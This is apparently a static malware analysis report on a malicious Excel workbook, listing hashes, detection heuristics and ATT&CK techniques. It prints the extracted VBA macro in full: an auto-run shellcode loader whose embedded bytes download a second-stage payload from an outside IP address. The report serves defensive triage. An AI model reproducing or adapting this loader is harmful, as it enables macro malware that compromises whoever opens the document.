Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 533136f8e39f4556…

MALICIOUS

Office (OOXML)

15.7 KB Created: 2021-08-09 09:20:19 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-08-20
MD5: 78400b0a784b21dc998ebb8afc7bca27 SHA-1: 50eb49dd7a3074c42f7c9668df07f452a0ddd98d SHA-256: 533136f8e39f4556b8f4ec1aa09ab3f85803c5fe8a7072b432da3c492e26f0e1
216 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros, specifically triggering Auto_Open and Workbook_Open events. Critical heuristics indicate the presence of a native-memory callback shellcode loader that uses VirtualAlloc, RtlMoveMemory, and CreateThread, suggesting it allocates memory, copies shellcode into it, and executes it. ClamAV detections further confirm its malicious nature as 'Xls.Malware.Sload-7135989-0'. The VBA script's intent is to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Xls.Malware.Sload-7135989-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sload-7135989-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
    Private Declare PtrSafe Function lomgckkzzqufsrrz Lib "kernel32" Alias "VirtualAlloc" (ByVal ktmbqhgkxgigj As Long, ByVal lhlecxqcinujyg As Long, ByVal jepigqptmvgprz As Long, ByVal nvrtkxwpjv As Long) As LongPtr
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5647 bytes
SHA-256: b02b7c6a3494cf61fcd3c05cae3f7e0a36357a3d2b44508a7263e4c1778502ee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function vwsaoukrl Lib "kernel32" Alias "CreateThread" (ByVal hjpzmyjwqiu As Long, ByVal tvdarmrltryqby As Long, ByVal agdilsszvpzddamf As LongPtr, juujnqrttdb As Long, ByVal kauqtamhsdtfhgla As Long, dgvqiswpdzpnnnez As Long) As LongPtr
Private Declare PtrSafe Function lomgckkzzqufsrrz Lib "kernel32" Alias "VirtualAlloc" (ByVal ktmbqhgkxgigj As Long, ByVal lhlecxqcinujyg As Long, ByVal jepigqptmvgprz As Long, ByVal nvrtkxwpjv As Long) As LongPtr
Private Declare PtrSafe Function fwxlqcoxqwu Lib "kernel32" Alias "RtlMoveMemory" (ByVal avrwvycunh As LongPtr, ByRef utacsyxrvodhkgpjtqkj As Any, ByVal quowvbysnlhmmxrphybn As Long) As LongPtr
#Else
Private Declare Function vwsaoukrl Lib "kernel32" Alias "CreateThread" (ByVal hjpzmyjwqiu As Long, ByVal tvdarmrltryqby As Long, ByVal agdilsszvpzddamf As Long, juujnqrttdb As Long, ByVal kauqtamhsdtfhgla As Long, dgvqiswpdzpnnnez As Long) As Long
Private Declare Function lomgckkzzqufsrrz Lib "kernel32" Alias "VirtualAlloc" (ByVal ktmbqhgkxgigj As Long, ByVal lhlecxqcinujyg As Long, ByVal jepigqptmvgprz As Long, ByVal nvrtkxwpjv As Long) As Long
Private Declare Function fwxlqcoxqwu Lib "kernel32" Alias "RtlMoveMemory" (ByVal avrwvycunh As Long, ByRef utacsyxrvodhkgpjtqkj As Any, ByVal quowvbysnlhmmxrphybn As Long) As Long
#End If
Sub Auto_Open()
Dim ryyejamqjkaruug As Long, revedynox As Variant, uqdmblzhugsmgek As Long
#If VBA7 Then
Dim vdxdetdmlbjjff As LongPtr, ymsavbuxik As LongPtr
#Else
Dim vdxdetdmlbjjff As Long, ymsavbuxik As Long
#End If
revedynox = Array(232, 143, 0, 0, 0, 96, 49, 210, 137, 229, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, 15, 183, 74, 38, 139, 114, 40, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1, 208, 139, 72, 24, 80, 139, 88, 32, 1, 211, 133, 201, 116, 60, 49, 255, _
73, 139, 52, 139, 1, 214, 49, 192, 193, 207, 13, 172, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, _
104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, 83, 232, 62, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, _
0, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 210, 4, 0, 0, 232, 180, 0, 0, 0, 47, 75, 79, 107, 53, 84, 50, 102, 53, 111, 89, 54, 49, 115, 114, 83, 122, 49, 75, 74, 72, 79, 81, 111, 105, 73, 114, 97, 57, 120, 75, 50, 55, 105, 103, 73, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 232, 132, 83, 83, 83, _
87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 76, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 49, 57, 50, 46, 49, 54, 56, 46, 49, 53, 50, 46, 49, 51, 49, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)
vdxdetdmlbjjff = lomgckkzzqufsrrz(0, UBound(revedynox), &H1000, &H40)
For uqdmblzhugsmgek = LBound(revedynox) To UBound(revedynox)
ryyejamqjkaruug = revedynox(uqdmblzhugsmgek)
ymsavbuxik = fwxlqcoxqwu(vdxdetdmlbjjff + uqdmblzhugsmgek, ryyejamqjkaruug, 1)
Next uqdmblzhugsmgek
ymsavbuxik = vwsaoukrl(0, 0, vdxdetdmlbjjff, 0, 0, 0)
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function fotklcjzmrxh(ByVal srplrcsjdoon As String) As String
Dim ssunqgzcjinb As Long
For ssunqgzcjinb = 1 To Len(srplrcsjdoon) Step 2
fotklcjzmrxh = fotklcjzmrxh & Chr$(Val("&H" & Mid$(srplrcsjdoon, ssunqgzcjinb, 2)))
Next ssunqgzcjinb
End Function



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19456 bytes
SHA-256: 81c55f4944ab06789561f97788d8f5d934d4becd2c48170013bc1a7fdc9083a3
Detection
ClamAV: Xls.Malware.Sload-7135989-0
Obfuscation or payload: unlikely

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